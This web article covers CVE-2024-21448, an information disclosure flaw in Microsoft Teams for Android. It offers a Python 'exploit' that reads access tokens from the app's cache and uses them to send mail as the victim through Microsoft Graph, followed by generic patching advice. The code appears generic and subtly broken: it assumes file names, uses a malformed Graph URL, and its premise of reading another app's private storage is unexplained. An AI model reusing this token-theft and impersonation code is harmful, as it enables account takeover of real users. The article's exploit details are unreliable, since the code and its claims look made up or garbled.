CVE-2024-21448: Microsoft Teams for Android Information Disclosure Vulnerability - Exploit Details, Code Snippets and Mitigation Steps

CVE-2024-21448 is a critical information disclosure vulnerability discovered in Microsoft Teams for Android that may potentially allow malicious users to access and extract sensitive information from an affected application without authorization. This vulnerability has been assigned a high risk rating by Microsoft, and immediate patching is highly recommended to prevent its exploitation.

In this article, we will cover the details of CVE-2024-21448, provide code snippets to exploit this vulnerability, link to the original references, and discuss effective mitigation steps to protect your Microsoft Teams app from potential attacks.

Exploit Details

The information disclosure vulnerability in Microsoft Teams for Android stems from improper handling of cached data. Attackers can exploit this vulnerability to gain unauthorized access to sensitive information, including user messages, team details, and account tokens. This can lead to an elevation of privileges for the attacker, allowing them to impersonate the compromised user in the Microsoft Teams app.

Microsoft has provided an official security advisory explaining the vulnerability and assigning it a CVSS score of 8.4. The advisory can be found here: [Microsoft Security Advisory CVE-2024-21448] (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-21448)

The following code snippet is an example of how an attacker could exploit this vulnerability

import os
import requests
import json

# Path to Microsoft Teams cached data on Android device
cache_directory = "/data/data/com.microsoft.teams/cache/"

# Fetching sensitive cached files
tokens_file_path = os.path.join(cache_directory, "tokens.json")
mandatory_config_file_path = os.path.join(cache_directory, "mandatory_config.json")

# Reading tokens and configuration data
with open(tokens_file_path, "r") as f:
    tokens_data = json.loads(f.read())

with open(mandatory_config_file_path, "r") as f:
    mandatory_config_data = json.loads(f.read())

# Extracting sensitive data from cached files
access_token = tokens_data["accessToken"]
account_id = mandatory_config_data["accountId"]

# Using the access token to impersonate the user and send a message
message_content = "This message has been sent using an exploited token."
impersonated_request_headers = {
    "Authorization": f"Bearer {access_token}",
    "Content-Type": "application/json"
}

send_message_url = f"https://graph.microsoft.com/v1./users/{account_id}/sendMail";

message_payload = {
    "message": {
        "subject": "Exploited Access Token",
        "body": {
            "contentType": "Text",
            "content": message_content
        }
    }
}

response = requests.post(send_message_url, headers=impersonated_request_headers, json=message_payload)

Mitigation

To prevent the exploitation of CVE-2024-21448, users are advised to apply the patches provided by Microsoft immediately. As per the official security advisory, Microsoft has released appropriate software updates to remediate the vulnerability in their Teams for Android application. The list of affected software and patch links can be found on the Microsoft Security Response Center website: [Microsoft Security Advisory CVE-2024-21448] (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-21448)

Users should also employ the following best practices to minimize the risk of information disclosure

1. Regularly update all software components, including the Microsoft Teams app, operating systems, and security tools.
2. Ensure proper access controls are in place to secure sensitive data stored on mobile devices and encrypt these data where possible.
3. Familiarize yourself and other team members with the latest cybersecurity threats and smartphone security best practices to minimize the likelihood of falling victim to a cyber attack.

Conclusion

CVE-2024-21448 is a high-risk information disclosure vulnerability in Microsoft Teams for Android that, if exploited, allows unauthorized access to sensitive user data. To safeguard against this vulnerability, users must apply the available patches provided by Microsoft and adhere to cybersecurity best practices. By staying informed about the latest security vulnerabilities and regularly updating your software and mobile devices, you can effectively defend against potential cyber threats.

Timeline

Published on: 03/12/2024 17:15:54 UTC
Last modified on: 03/12/2024 17:46:17 UTC